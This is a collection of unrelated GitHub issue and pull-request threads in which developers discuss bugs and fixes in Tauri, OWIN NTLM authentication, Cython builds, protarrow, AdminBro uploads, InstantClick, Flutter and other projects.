[bug] Tauri appWindow not listening to webview emit event

Describe the bug
I have an issue receiving events emitted to a specific window. From the main window I'm creating a new window and sending sync-data event to it:
    //main window
    const window = await new Promise<WebviewWindow>((resolve, reject) => {

      const webview = new WebviewWindow('test', {
        url: 'window.html'
      });

      webview.once('tauri://created', function () {
        setTimeout(async function () {
          //for test purposes I'm delaying emitting of the event to make sure listeners in the new window are setup
          await webview?.emit('sync-data', {test: 'data'}});
        }, 3000)
        resolve(webview);
      });

      webview.once('tauri://error', function (e) {
        reject(e);
      });

    });

and in the test window, I'm listening to sync-data event:
  import { appWindow } from "@tauri-apps/api/window";

  //appWindow.label === 'test' => true
  const unlisten = await appWindow.listen<Channel2ChannelWindowData>('sync-data', (event) => {
    console.log('======GOT DATA=====');
    //THIS LISTENER NEVER GETS CALLED :(
    console.log(event.payload);
  });

However the listener in the test window is never triggered unless I listen for events globally via
import { listen, UnlistenFn } from '@tauri-apps/api/event';
//appWindow.label === 'test' => true
 const unlisten = await listen<Channel2ChannelWindowData>('sync-data', (event) => {
   //GETS TRIGGERED!
    console.log(event.payload);
  });

Reproduction
No response
Expected behavior
I'd expect a new webview window to receive sync-data event and trigger registered listener.
Platform and versions
yarn run v1.22.19
$ tauri info

[✔] Environment
    - OS: Arch Linux Unknown X64
    ✔ webkit2gtk-4.0: 2.40.5
    ✔ rsvg2: 2.56.3
    ✔ rustc: 1.72.0 (5680fa18f 2023-08-23)
    ✔ Cargo: 1.72.0 (103a7ff2e 2023-08-15)
    ✔ rustup: 1.26.0 (2023-05-04)
    ✔ Rust toolchain: stable-x86_64-unknown-linux-gnu (default)
    - node: 16.20.2
    - pnpm: 8.7.4
    - yarn: 1.22.19
    - npm: 8.19.4

[-] Packages
    - tauri [RUST]: 1.4.0
    - tauri-build [RUST]: 1.4.0
    - wry [RUST]: 0.24.3
    - tao [RUST]: 0.16.2
    - @tauri-apps/api [NPM]: 1.4.0
    - @tauri-apps/cli [NPM]: 1.4.0

[-] App
    - build-type: bundle
    - CSP: unset
    - distDir: ../dist
    - devPath: http://localhost:1420/
    - framework: Vue.js
    - bundler: Vite
Done in 9.54s.

Stack trace
No response
Additional context
No response

Also seeing this issue. I'd made a stackoverflow question for it here - https://stackoverflow.com/questions/77063579/tauri-appwindow-not-listening-to-webview-emit-event
Thanks!

I have also encountered this problem now. Now the backend emits a specific window, but the frontend listens directly instead of appWindow.listen(). Only in this way does it work.

the whole event system was changed in february, please refer to the documentation: https://v2.tauri.app/develop/calling-frontend/#event-system
I tested the original issue here and it is now working. I'm not sure about @Borber 's one though, I'd need a new issue describing the problem.


Virtual Directory CallbackPath

When I run this app under IIS Express (http://localhost:<port>) NTLM authentication works properly. The 302 response after creating the authentication challenge contains the proper NTLM authentication sign-in path in the Location header, and the browser includes the Authorization: NTLM <token> header when making the request to /authentication/ntlm-signin?state=<state_id>.
I am running into problems however when attempting to run the app from Local IIS 7.5 under a virtual directory like so: http://localhost/myapp/
In NtlmAuthenticationOptions I set
CallbackPath = "/myapp/authentication/ntlm-signin"

which is necessary to find the correct login path.
The problem seems to be that the Authorization: NTLM <token> header is missing from the request to /myapp/authentication/ntlm-signin, and so a response containing the WWW-Authenticate: NTLM header is returned. For some reason the browser is not including the Authorization token in its request to NTLM authenticate.
Am I possibly missing a step in the IIS configuration? Or maybe this could be related to the Double Hop Authentication issue?

Nevermind, I seem to have resolved this issue. I was setting my CookieAuthenticationOptions like so:
new CookieAuthenticationOptions()
{
    AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,
    LoginPath = new PathString("/account/login"),
    Provider = new CookieAuthenticationProvider()
    {
        OnApplyRedirect = ctx =>
        {
            if (!ctx.Request.IsNtlmAuthenticationCallback())
            {
                ctx.Response.Redirect(ctx.RedirectUri);
            }
        }
    }
}

The problem seemed to be specifying the LoginPath. When I removed this option, everything worked correctly. Perhaps it's a cross-origin type issue related to specifying the CallbackPath PathString with the virtual directory (i.e. <appname>/authentication/ntlm-signin), whereas the LoginPath did not contain the virtual directory (i.e. /account/login).

A follow up on this issue and how I actually ended up resolving it... Since I specified a CallbackPath in the NtlmAuthenticationOptions I also needed to call IsNtlmAuthenticationCallback with the redirectPath overload in the following manner:
OnApplyRedirect = ctx =>
{
    if (!ctx.Request.IsNtlmAuthenticationCallback(CallbackPath))
    {
        ctx.Response.Redirect(ctx.RedirectUri);
    }
}

If CallbackPath is not specified then IsNtlmAuthenticationCallback makes the comparison using the NtlmAuthenticationOptions.DefaultRedirectPath (/authentication/ntlm-signin), which does not work for an app under a virtual directory (/<virtual_directory>/authentication/ntlm-signin).
This could be a helpful tip to add to the documentation for those running apps under virtual directories.

It sure would be helpful, I'll try to take care of this asap!
Thank you very much for the follow-up!

Added note: 901c8c7b88c7826592791fd92ff74ad8b5584e44

I'm having this same issue, but when I drop LoginPath from UseCookieAuthentication then it doesn't attempt to log the user in.

Finally figured out how to do this and it should work dynamically....
    public void Configuration(IAppBuilder app)
    {
        var urlHelper = new UrlHelper(HttpContext.Current.Request.RequestContext);

        app.SetDefaultSignInAsAuthenticationType(DefaultAuthenticationTypes.ApplicationCookie);

        app.UseCookieAuthentication(new CookieAuthenticationOptions
        {
            AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,
            LoginPath = new PathString("/Login"),
            Provider = new CookieAuthenticationProvider()
            {
                OnApplyRedirect = ctx =>
                {
                    if (!ctx.Request.IsNtlmAuthenticationCallback(new PathString(urlHelper.Action("authentication", "ntlm-signin"))))
                    {
                        ctx.Response.Redirect(ctx.RedirectUri);
                    }
                }
            }
        });

        app.UseNtlmAuthentication(new NtlmAuthenticationOptions()
        {
            CallbackPath = new PathString(urlHelper.Action("authentication", "ntlm-signin"))
        });
    }


Runs CI automatically without manual commits

[x] Set PAT to repository secrets

Secret name: PERSONAL_ACCESS_TOKEN

[x] Update workflows

[x] update_packages.yml ➡ 8fd346e
[x] update_static_files.yml ➡ 2f1952c

[x] Test

Workflow: https://github.com/mryhryki/markdown-preview/actions/runs/8764826934
PR: https://github.com/mryhryki/markdown-preview/pull/86

Done! 🎉


Need a way to install cython modules before cythonizing

I have a cython module which depends on a cython module and its pxd file https://github.com/scoder/fastrlock.
I tried following setup.py to install cython modules in setup_requires, and then cythonize in sdist.
setup.py
def make_extensions(ext):
    """Make Extension objects here. ext is .pyx or .c"""

class sdist_with_cython(sdist.sdist):
    def cythonize(self):
        cythonize(make_extensions('.pyx'))

    sub_commands = sdist.sdist.sub_commands + [('cythonize', cythonize)]

class custom_build_ext(build_ext.build_ext):
    def run(self):
        cythonize(make_extensions('.pyx'))
        build_ext.build_ext.run(self)

setup(
    setup_requires=[
        'fastrlock>=0.3',
    ],
    ext_modules=make_extensions('.c'),
    cmdclass={'build_ext': custom_build_ext, 'sdist': sdist_with_cython},
)

But, this did not work well. python setup.py sdist did not generate a tar file including c files.
It seemed that c files have to exist before running setup.
I need a proper way to install cython modules before cythonizing, and include c files in a generated tar file.
In my understanding, cython currently does not provide a good way, but if there is already a proper way, please let me know.

Sorry, it was my bad. Below worked.
def make_extensions(ext):
    """Make Extension objects here. ext is .pyx or .c"""

class sdist_with_cython(sdist.sdist):
    def __init__(self, *args, **kwargs):
        cythonize(make_extensions('.pyx'))
        sdist.sdist.__init__(self, *args, **kwargs)

class custom_build_ext(build_ext.build_ext):
    def run(self):
        cythonize(make_extensions('.pyx'))
        build_ext.build_ext.run(self)

setup(
    setup_requires=[
        'fastrlock>=0.3',
    ],
    ext_modules=make_extensions('.c'),
    cmdclass={'build_ext': custom_build_ext, 'sdist': sdist_with_cython},
)


Incorrect type annotation for messages_to_table(): marked to take an Iterable[M] but requires len()

Iterables can be infinite/don't necessary have a length, so this line of code invalidates the annotation. Length requires Sized. Could also use Collection[M] or Sequence[M] though those are a tad less generic.
collections.abc.Collection

ABC for sized iterable container classes.

Or, maybe the length can be circumvented.
Either way, was surprised to get a runtime error here - is this project type-checked in CI?

It seems like the mask parameter is optional from the pyarrow docs: https://arrow.apache.org/docs/python/generated/pyarrow.StructArray.html#pyarrow.StructArray.from_arrays
and the default is None: https://github.com/apache/arrow/blob/ea9b15ff941e7492e171cffee05af85b99306631/python/pyarrow/array.pxi#L2808
so probably can just use None instead of pa.repeat(False, len(messages)) either way?

But glancing at some of the implementation with the iterable getters, it's not clear to me if an Iterable is actually OK, or if the library specifically needs the whole thing in memory (to iterate over the messages multiple times)

Hi @alkasm, thanks for creating this issue, I think there's a few things here:

We don't check for type hints validity in the CI, I'm open to suggestions on how to do it.
Technically we don't need a Sequence for input data, because we don't use __get_item__ / random access, we only iterate through the data.
We do need the whole input data to fit into memory and we will iterate over it several time (once for each column). That's why we use Iterable (as opposed to Iterator)
I think if we update our call to pa.StructArray.from_arrays to pass None when there's no mask, then we should get around the requirements of having a Sized and an Iterable.
Please give the repo a star.

I guess there isn't a type hint that works for what we need in protarrow.
Technically the library only calls __iter__ on the input. And it calls it multiple times.
It only calls __len__ in a very narrow use case. If you have a list of google.protobuf.empty_pb2.Empty (or any custom empty message). For any other use case __len__ should not be called.
I went ahead and narrowed the use of __len__ to this specific case and ignored the type check when the call to __len__ happens https://github.com/tradewelltech/protarrow/pull/82.
We could change from Iterator to Collection, but in this case the type hint would say that we can't use the library with KeysView and ValueView, which we can.
I'm not sure what's best when putting type hints on the input:

be too restrictive, ie requiring Collection
not be restrictive enough, ie not documenting the fact that in some very narrow use case, we will call __len__ on the input

But maybe the bigger problem is that the library doesn't make it clear that the input has to fit into memory already.

It only calls len in a very narrow use case. If you have a list of google.protobuf.empty_pb2.Empty (or any custom empty message). For any other use case len should not be called.

Hm I'm not sure if that's true? I am not using an empty message and I hit this case. One potentially important point with that - I was using dynamic protobufs, i.e. types created at runtime from the file descriptors.

I'm not sure what's best when putting type hints on the input:

be too restrictive, ie requiring Collection
not be restrictive enough, ie not documenting the fact that in some very narrow use case, we will call len on the input

Since this is for type checking specifically (and doesn't prevent passing e.g. KeysView at runtime) I think the general practice is to be more conservative - if my code type checks, I expect it to not fail at runtime. But if I know it actually has an expanded capability at runtime, I can always # type: ignore

| Hm I'm not sure if that's true? I am not using an empty message and I hit this case. One potentially important point with that---I was using dynamic protobufs, i.e. types created at runtime from the file descriptors.
That's true with the latest code which hasn't been released yet. https://github.com/tradewelltech/protarrow/blob/0458ba6dca84ea37becccbf7c8197b658c9971b6/protarrow/proto_to_arrow.py#L527


Crash on creating a focus, Divide by zero when assigning focus colour

I've got a Server running the latest Thaumcraft Beta (Thaumcraft-1.12.2-6.1.BETA13) and it was running fine till one of the users tried making a focus. We get a divide by zero error when it tries to render the focus that crashes the client.
Here is the full crash report. If I understand it correctly, I should be able to work around the problem by deleting the entity referenced and telling the user not to create one till at least the next Beta comes out. Any help in how I might go about doing that to work around the problem would be appreciated.
crash-2018-05-09_13.14.18-client.txt

Did it create a black hole?

Something like that ;)
On Thu, May 10, 2018 at 7:15 PM, Dayyer1<EMAIL_ADDRESS>wrote:

Did it create a black hole?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/Azanor/thaumcraft-beta/issues/688#issuecomment-387999961,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AlTJH8Zw-kXELCpxzADx7AhdGFtmYLxuks5txAUogaJpZM4T3qW6
.


A few small build fixes for optics

This is a follow-up to #402 with a few fixes to the build.

Current coverage is 80.91% (diff: 100%)

Merging #404 into master will increase coverage by 0.63%

@@             master       #404   diff @@
==========================================
  Files            58         63     +5
  Lines          1891       1996   +105
  Methods        1743       1841    +98
  Messages          0          0
  Branches        148        155     +7
==========================================
+ Hits           1518       1615    +97
- Misses          373        381     +8
  Partials          0          0

Powered by Codecov. Last update 251da43...5b46ce6

Nice. Sorry for missing these.

@ericbmerritt No worries—it's a complicated build file. :)


Migrate to seaorm>1

There is 1.x release of sea-orm, as software is in early stage it would be easy to migrate and use it across packages instead relying on outdated version. It may broke some things but it's better to broke them now instead future.

Well, I've migrated this one I had a little more free time - the results are astonishing in terms of amout of new bugs that needs to be resolved. Sea-Orm seems to not provide enough support for resoliving issues related to sqlite and wrongly generated entities that are parsing DateTime in right way. I've decided I'm fine with 0.15.x where things are working and do not seem to break.


How to make aqua isomorphic?

Aqua has been a huge help so far, thank you @jedireza for taking the time to put something like this together. :)
I'm running into an issue trying to make the application isomorphic. Would you happen to have any words of wisdom or sample code that I can follow to get me over this hurdle?

Thanks for opening an issue. I touched on this a while ago:

I've purposefully stayed away from isomorphic design patterns. Isomorphic apps require a level of assumptions/opinions I didn't want to introduce. I've used Aqua as a learning experiment, to build a larger-sized app with a vanilla Flux implementation.

I wrote that when I was at Yahoo and working with the Fluxible team.
Also, I don't see an upside in making the admin CRUD screens isomorphic since they're behind authentication and not meant to be indexed by search engines. I'll continue with the assumption that we're not talking authenticated screens.
I've done a talk on isomorphic apps and how we brought Flux to the server with Fluxible. In that talk I demonstrate the worlds smallest isomorphic React application, which gives us a glimpse at what the high level goal is to make a page built with React and Flux isomorphic.
 Routing on the client and server need to line up. Flux on the server get's tricky because you can't use singletons and must isolate each request and you have to make actions asynchronous so you know when it's time to render the view. You'll also need to have a data access layer done in a way so that on the server it accesses resources directly but on the client those same calls are proxied via ajax requests (see Fluxible's data services guide).
Because there are so many considerations it's hard to recommend one over another. My advice is to study and compare the different approaches and choose what works best for your project.

It may be helpful to review this repo: https://github.com/voronianski/flux-comparison
Relay and GraphQL could be promising for isomorphic apps in the future: http://facebook.github.io/react/blog/2015/02/20/introducing-relay-and-graphql.html


Skipping recipe /bioconda-recipes...

Hi, I'm a bit new to Docker, I wanted to update the igblast recipe but when I ran the test set in Docker using the command in the README I got:
sudo docker run -v `pwd`:/bioconda-recipes bioconda/bioconda-builder --packages igblast
Skipping recipe /bioconda-recipes/recipes/igblast

----------------------------------------------------------------------
Ran 0 tests in 1.288s

OK

What am I doing wrong?

It's being filtered out by build-packages.py, which is is actually independent of docker. That script is doing a check against the recipe name, which has a specific format, to see if it is already built.
My guess is that your updated recipe isn't changing that conda recipe name. If the version of igblast has changed, then update that and it should trigger a build. Otherwise, you can increment the build number, which is 0 by default, to trigger a new build for the same version.
TL;DR: either increment the version of igblast, or add this to recipes/igblast/meta.yaml:
build:
  number: 1

OK, I incremented the build number to 1 and it worked -- thanks!


Application lock-ups (Windows 10)

Running nheqminer v0.5c in the background (CPU mining) causes lock-ups on many other applications. Examples:

Many applications lock-up for several seconds (up to half a minute) when saving files (this seems to happen immediately after saving the file)
Web browsers and browser-based applications (e.g. Atom IDE) delay showing drop-down box contents for several seconds (drop-down box opens but content is not visible for a while)

I'm absolutely sure nheqminer is the culprit because I've repeatedly stopped it during such delays and responsiveness was restored immediately.
My specs:

OS: Windows 10 Enterprise (64-bit)
CPU: Intel i5-4590 (quad-core @ 3.3MHz)
RAM: 16GB DDR3 running @ 1600MHz (avg in use: ~7.5GB)

What is the exact command line you're using to start the miner?  You really haven't provided any information to even guess what the issue could be.

This is how it runs (as a Windows service via NSSM): nheqminer.exe -l eu.zec.slushpool.com:4444 -u someuser.name -t 6
As to the guessing, I'm just stating the problem, throwing in some basic info, waiting to see if there are others experiencing the same. You can ask me anything you think might help you. IMHO, it has something to do with memory management.

I should have checked this before I posted.. A quick Google search shows that CPU only has 4 threads. Trying to run a CPU miner on n/n threads will cause a big performance loss let alone 1.5n/n threads. Try setting the thread count to 3 instead of 6.

Apologies not necessary. I made the change. Now CPU is @ ~87% total. I'll let you know how it goes.
Thanks a bunch.

It's been running for about 5 hours now and the only "problem" I have is that the hash rate has fallen by ~25%. This is to be expected though with 3 working cores instead of 4.
Thanks for the tip :)


Revise annotations.py with new generic container types.

As discussed in #751, this version of the annotations module includes more generic container types which may be used instead of the current font-specific type aliases. This will minimise the need for type-related imports and simplify the annotation process, while making types less font-specific.
This revision will require a total overhaul of the typed modules in the v1 branch.

@benkiel  Excuse all the commits. I've been having (serious) merge troubles, but now the branch is finally down to the actual file I intended to change, and I'm a bit wiser with regard to working with git in general.
I'm happy to repost this PR with a clean history if necessary.

@benkiel I've revised the annotated modules, as well as improved the module somewhat. Some of the type aliases are a little long, but have the benefit of being explicit and avoid potential naming conflicts.


Text decoration

Items:

[ ] Be able to change text size
[ ] Be able to center text in a section

Most pages have a pretty big font size, we could change the default font size to this, and add a section metadata for the exceptions, where they are smaller.
A lot of sections also have their text centered, but some others don't. One of them needs to be the default, but the behavior should be changed in the section metadata.
Mostly like this:

Sometimes like this:

@dzehnder I think the first example makes total sense in case default content is entered and allowing the user to custom the font size of a p but the second example is part of each individual block and the implementation of such.
I suggest to impl. Style Metadata for font-size and alignment.
E.g.
font-size-s, font-size-m, etc and center
thoughts?

#133


fix: #5028 - fix hover and focused border for block child

Fix for issue #5028

@claudiaifrim Unfortunately I need to revert this change in #5039. Setting the z-index of the block outline to auto means that it was sometimes getting in the way of clicking on a selected block.


Display current column

Some error messages are harder to understand because UI lacks the current column information.

Cursor positions are now displayed in the UI. I hope it will improve the experience.

Thanks! Maybe make it a bit more concise? Like

Done

Perfect!


storing problem with local upload feature

Hello dear SoftwareBrothers,
I have upgraded my Admin Bro to version 3 and set up file upload feature but when I would like to submit an article with a dropped image I get upload Errors. The same thing goes when I get back to the old version of admin bro and used the one that I wrote through components. I cannot figure out what's exactly going wrong.
this is the error I get when I submit an article with Image.

My Blog js
const AdminBro = require('admin-bro');
const { Blog } = require('../../models/Blog');
const { sort, timestamps } = require('../sort');
const uploadFeature = require('@admin-bro/upload');

/** @type {AdminBro.ResourceOptions} */
const options = {
    sort,
    properties: {
        ...timestamps,
        slug: {
            position: 0,
        },
        description: {
            isVisible: { list: false, edit: true, filter: false, show: true },
            position: 1,
            components: {
                edit: AdminBro.bundle('../components/custom-fonts.edit.tsx')
            }
        },
        tags: {
            isVisible: { list: false, edit: true, filter: true, show: true },
            position: 8
        },
        keywords: {
            isVisible: { list: false, edit: true, filter: true, show: true },
            position: 9,
            type: [String],
        },
        draftMode: {
            isVisible: { list: true, edit: true, filter: true, show: true }
        },
        _id: {
            isVisible: { list: false, edit: false, filter: false, show: false },
        },
    }
};

module.exports = {
    options,
    features: [
        uploadFeature({
            provider: { local: { bucket: 'public/uploads' } },
            properties: {
                key: 'uploadedFile.path',
                bucket: 'uploadedFile.folder',
                mimeType: 'uploadedFile.type',
                size: 'uploadedFile.size',
                filename: 'uploadedFile.filename',
                file: 'uploadFile',
            }
        })
    ],
    resource: Blog,
};

my app.js
app.use('/uploads', express.static('uploads'));

and I also made a directory by the name of upload on the root folder of my app.
so thankful for supporting this amazing admin panel.

you have 500error on the server side. Can you paste a stacktrace from the terminat where you run node app?

I have got nothing in my terminal, the errors are just shown on the console of the browser. I got back to the version that it used to work perfect but I get the same error it's so wierd :|. I the rest of the project works great except upload functionality.

dou you have @admin-bro/express in the latest version?

and please click network tab in chrome dev tools. What is the output of new action?

I double check to make sure I have got the latest version of express
"@admin-bro/express": "^3.0.0",
"@admin-bro/mongoose": "^1.0.0",
"@admin-bro/upload": "^1.0.0",
"admin-bro": "^3.2.5",

I took some screen shots from my network tab

I used to see 2 files in .adminbro cache files but now I only have got just .entry.js I suppose it should have bundle.js as well ? am I right?

I figured out when I click on submit button to store an article with an image. the folder Id is created but it doesn't store an img format in it.

I tried to deploy it on a real server not just local and figured out that this file responds 404
components.bundle.js
I dropped a pic of that here
I deleted .adminbro once but I thought it recreates each time. which I have restarted the server 3 or 4 times but yet no difference

on pic6 - clikc "Response" tab and paste what is there

Error

Internal Server Error

the problem is that it doesn't show you any stacktrace. I think that you have a middleware which simply intercepts all requests and returns 500 without the information: 'what happened' I don't actually remember how to change that in expres but I found something like this: https://stackify.com/node-js-logging/
const app = express()
const winston = require('winston')
const consoleTransport = new winston.transports.Console()
const myWinstonOptions = {
    transports: [consoleTransport]
}
const logger = new winston.createLogger(myWinstonOptions)

function logRequest(req, res, next) {
    logger.info(req.url)
    next()
}
app.use(logRequest)

function logError(err, req, res, next) {
    logger.error(err)
    next()
}
app.use(logError)

this should show you in the node terminal what exactly happened.
Alternatively this also should work temporarily:
function logError(err, req, res, next) {
    console.log('error', err)
    next(err)
}
app.use(logError)

{"message":"EXDEV: cross-device link not permitted, rename '/var/folders/d8/b9tjfmtx3pj5z9gbf9tscxym0000gn/T/upload_910809a51160fb39e4ceea7f4e6b6c0f' -> 'uploads/5f665621535579227429a47e/Screen Shot 1399-06-28 at 23.00.41.png'","stackHighlighted":"Error: EXDEV: cross-device link not permitted, rename '/var/folders/d8/b9tjfmtx3pj5z9gbf9tscxym0000gn/T/upload_910809a51160fb39e4ceea7f4e6b6c0f' -> 'uploads/5f665621535579227429a47e/Screen Shot 1399-06-28 at 23.00.41.png'"}

I solve the problem by the error that I could get from response tab thank you dear Krysiak I was a silly mistake from mine that I had relocated the project from desktop to my macintosh drive which it could not save pic to its love you for being beside me throughout this issue and I hop you make this amazing admin panel better and better.

dont forget to star the repo ;)

I have finally solved the problem by the error that I could get from response tab thank you dear @wojtek-krysiak it was a silly mistake of mine that I had relocated the project from desktop to my macintosh drive which it could not save pic to its love you for being beside me throughout this issue and I hope you make this amazing admin panel better and better.

Hey, how did you solve the issue?

dont forget to star the repo ;)

Hello there,
I'm still facing this cross-link not permitted issue, could you please help me resolve this?


feat: add listmonk

Listmonk is a popular newsletter manager built in Go, built by the folks at Zerodha.
It's actively maintained and documented.

Hey @scmmishra! Thanks for your contribution! 😃  Can you please fill up the pull request template from here and post it as a comment on this PR?

Hey @scmmishra! Thanks for your contribution! 😃  Can you please fill up the pull request template from here and post it as a comment on this PR?

Sure, I assumed the template is just for reference. Apologies, I'll update the PR.


Suggestion: Only preload pages once per page load

Hey it seems like repeatedly mousing over over links is loading the next page multiple times. I think limiting preloading to once per page load or something like once every 30 sec would really help cut down on page loads on the backend.

A debouncer would do it.

I think it's also important to remember that once a page is preloaded it should be cached. Therefore, it should not have to hit the  server again. I also think if I am not mistaken that  if the mouse leaves the link the loading is stopped.

The pages aren't necessarily cached, when I mouseover links on instantclick.io I see a bunch of 200 requests in the network tab. Best case is 304 responses if your server supports it.

Yeah HTML is never really cached but If you can I recommend doing it when using this plugin cache the pages for and hour or so. Would depend on the page content as well. If you are looking to reduce server load or update the plugin as you suggested.

It was more difficult than I expected, but I got some basic preload caching working on a fork. Seems like everything is setup to handle 1 preload at a time, so I changed it to only cache the last moused over link.
Here's the diff for reference: https://github.com/robgraeber/instantclick2/commit/b0c0443c54101def72dd78aac393c26e71d26821
Ideally it would cache multiple requests at a time, but that would take a big refactor. Or a clever way to cache XMLHttpRequest's.

Okay got the caching working with multiple requests. Didn't have to refactor too much, was able to store cached xhr objects and feed them in.
My fork: https://github.com/robgraeber/instantclick2
The diff: https://github.com/robgraeber/instantclick2/compare/bc6f9f296ff75ffdb43cdadfac0482c6ed8077d7...master

This is cool

the first issue I noticed when I heard about instantclick, came to open an issue and found this :) great fix :+1:

On mouve hover, store the url, if another mouse hover is done, then check the last mouse hover url and do not preload it.

You can use caching with InstantClick the same way you do without InstantClick: by setting Expires headers on the server. Implementing caching in JavaScript would be uselessly redundant. Setting caches on the server instead of in JavaScript has other benefits:

It will work when the page is opened in another tab.
It’s not dependant on InstantClick, so it will still work if you stop using InstantClick on your site.
It works for browsers that don't support InstantClick.

The big benefit to implement caching in JavaScript would be that it would cache out of the box, but not every site needs caching. When you have highly-dynamic content, such as a forum where new messages get posted nearly every second, you don’t want to have lagging content.


Request that ExtData2G support a masked sum, in a Derived Export

It would be very helpful if ExtData2G could combine masking and algebraic computation of fields within the specification of Derived Exports. As a use-case, the EDGAR methane (CH4) emissions dataset is split into source-specific files; we would like to combine subsets of these files and then apply geographic masks to the results, without creating new (custom tailored) emissions files.  Currently ExtData2G supports masking, or algebraic expressions in derived exports, but not both together.  If ExtData2G could combine the two operations, something like MASK( field_A + field_B + field_C,  ), it would be very useful for tagged tracer experiments.

@mmanyin This will be very easy to do, already started it. Should have the PR in a day or two.

Thanks @bena-nasa  !!

@mmanyin PR made, took a little longer than I thought it would.

Hey @bena-nasa that's great!  I look forward to testing it.  Should I wait for the next MAPL release?  Or do you want feedback on it ASAP?


A flutter ListView drops frames when the app run for the first time after installation

Hi,
For my app, the ListView scrolls smoothly almost every time except in 2 cases, the first one is when the app is installed and the other is rebooting the device.  As the 2 videos I attached, It runs obviously differently. Great many frames are dropped in the first-installation case.
My question is what's the difference are there between installation and usual launch or is there any additional work should be done when installed compared with launching?  Does it has some concern with shader warm-up? Or any other ideas or suggestions?
Thank you very much!
https://user-images.githubusercontent.com/22711007/112517187-fd76c500-8dd2-11eb-917f-7df617fb116c.MP4
https://user-images.githubusercontent.com/22711007/112517197-ffd91f00-8dd2-11eb-986d-069afd4b3128.MP4

by the way, the testing runs at profile mode and my device is iPhone 8 plus, but the same on other iOS devices. my flutter sdk is at the version of 1.17.5.
[✓] Flutter (Channel stable, v1.17.5, on Mac OS X 10.15.7 19H2, locale zh-Hans-CN)
• Flutter version 1.17.5 at /Users/yangbaocheng/development/flutter
• Framework revision 8af6b2f038 (9 months ago), 2020-06-30 12:53:55 -0700
• Engine revision ee76268252
• Dart version 2.8.4
[✓] Android toolchain - develop for Android devices (Android SDK version 29.0.3)
• Android SDK at /Users/yangbaocheng/Library/Android/sdk
• Platform android-29, build-tools 29.0.3
• Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
• Java version OpenJDK Runtime Environment (build 1.8.0_212-release-1586-b4-5784211)
• All Android licenses accepted.
[✓] Xcode - develop for iOS and macOS (Xcode 12.2)
• Xcode at /Applications/Xcode.app/Contents/Developer
• Xcode 12.2, Build version 12B45b
• CocoaPods version 1.10.1
[✓] Android Studio (version 3.6)
• Android Studio at /Applications/Android Studio.app/Contents
• Flutter plugin version 49.0.1
• Dart plugin version 192.8052
• Java version OpenJDK Runtime Environment (build 1.8.0_212-release-1586-b4-5784211)
[✓] Connected device (1 available)
• YBC • 7e4fbbe051a09d0769464a0f1c1170b8cf7e986e • ios • iOS 13.6

Hi @cocoayang
You seem to be using an old flutter stable
Can you please upgrade to the latest  stable and try again
flutter channel stable
flutter upgrade --force
flutter doctor -v
If the problem persists, Can you please provide your flutter doctor -v with the upgrade and a minimal complete reproducible code sample?
Thank you

On Fri, 26 Mar 2021 at 4:52 am, cocoayang @.***> wrote:

by the way, the testing runs at profile mode and my device is iPhone 8
plus, but the same on other iOS devices. my flutter sdk is at the version
of 1.17.5.
[✓] Flutter (Channel stable, v1.17.5, on Mac OS X 10.15.7 19H2, locale
zh-Hans-CN)
• Flutter version 1.17.5 at /Users/yangbaocheng/development/flutter
• Framework revision 8af6b2f
https://github.com/flutter/flutter/commit/8af6b2f038c1172e61d418869363a28dffec3cb4
(9 months ago), 2020-06-30 12:53:55 -0700
• Engine revision ee76268252
• Dart version 2.8.4
[✓] Android toolchain - develop for Android devices (Android SDK version
29.0.3)
• Android SDK at /Users/yangbaocheng/Library/Android/sdk
• Platform android-29, build-tools 29.0.3
• Java binary at: /Applications/Android
Studio.app/Contents/jre/jdk/Contents/Home/bin/java
• Java version OpenJDK Runtime Environment (build
1.8.0_212-release-1586-b4-5784211)
• All Android licenses accepted.
[✓] Xcode - develop for iOS and macOS (Xcode 12.2)
• Xcode at /Applications/Xcode.app/Contents/Developer
• Xcode 12.2, Build version 12B45b
• CocoaPods version 1.10.1
[✓] Android Studio (version 3.6)
• Android Studio at /Applications/Android Studio.app/Contents
• Flutter plugin version 49.0.1
• Dart plugin version 192.8052
• Java version OpenJDK Runtime Environment (build
1.8.0_212-release-1586-b4-5784211)
[✓] Connected device (1 available)
• YBC • 7e4fbbe051a09d0769464a0f1c1170b8cf7e986e • ios • iOS 13.6
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/flutter/flutter/issues/79063#issuecomment-807177988,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APOPX5OZN6HRRSBYS2HJUNLTFNZ45ANCNFSM4ZZ2EQ4Q
.

--
Здравствуйте

Hi @cocoayang
You seem to be using an old flutter stable
Can you please upgrade to the latest stable and try again
flutter channel stable
flutter upgrade --force
flutter doctor -v
If the problem persists, Can you please provide your flutter doctor -v with the upgrade and a minimal complete reproducible code sample?
Thank you

Hi, @TahaTesser
As you suggested, I updated flutter to the latest version which is 2.0.3 as below, but the issue still persists.
[✓] Flutter (Channel stable, 2.0.3, on Mac OS X 10.15.7 19H2 darwin-x64, locale zh-Hans-CN)
    • Flutter version 2.0.3 at /Users/yangbaocheng/development/flutter
    • Framework revision 4d7946a68d (13 days ago), 2021-03-18 17:24:33 -0700
    • Engine revision 3459eb2436
    • Dart version 2.12.2
    • Pub download mirror https://pub.flutter-io.cn
    • Flutter download mirror https://storage.flutter-io.cn

[✓] Android toolchain - develop for Android devices (Android SDK version 29.0.3)
    • Android SDK at /Users/yangbaocheng/Library/Android/sdk
    • Platform android-29, build-tools 29.0.3
    • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_212-release-1586-b4-5784211)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 12.2, Build version 12B45b
    • CocoaPods version 1.10.1

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 3.6)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin version 49.0.1
    • Dart plugin version 192.8052
    • Java version OpenJDK Runtime Environment (build 1.8.0_212-release-1586-b4-5784211)

[✓] Connected device (2 available)
    • YBC (mobile) • 7e4fbbe051a09d0769464a0f1c1170b8cf7e986e • ios            • iOS 13.6
